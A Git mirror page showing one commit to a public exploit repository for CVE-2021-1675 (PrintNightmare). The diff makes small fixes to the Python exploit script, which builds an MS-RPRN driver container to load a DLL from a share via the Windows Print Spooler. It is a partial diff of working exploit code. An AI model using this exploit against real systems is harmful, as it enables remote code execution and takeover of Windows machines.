1
0
Fork 0
mirror of https://github.com/cube0x0/CVE-2021-1675.git synced 2024-11-14 18:17:54 +00:00
This commit is contained in:
cube0x0 2021-07-04 16:33:54 +02:00
commit 4b2c8cf663

View file

@ -66,7 +66,7 @@ def getDrivers(dce, handle=NULL):
return blob
def main(dce, pDriverPath, share):
def main(dce, pDriverPath, share, handle=NULL):
#build DRIVER_CONTAINER package
container_info = rprn.DRIVER_CONTAINER()
container_info['Level'] = 2
@ -157,7 +157,7 @@ Example;
try:
blob = getDrivers(dce, handle)
pDriverPath = str(pathlib.PureWindowsPath(blob['DriverPathArray']).parent) + '\\UNIDRV.DLL'
if not "filerepository" in pDriverPath:
if not "FileRepository" in pDriverPath:
print("[-] pDriverPath {0}, expected :\\Windows\\System32\\DriverStore\\FileRepository\\.....".format(pDriverPath))
print("[-] Specify pDriverPath manually")
sys.exit(1)
@ -177,4 +177,4 @@ Example;
print("[*] Try 2...")
main(dce, pDriverPath,options.share)
print("[*] Try 3...")
main(dce, pDriverPath,options.share)
main(dce, pDriverPath,options.share)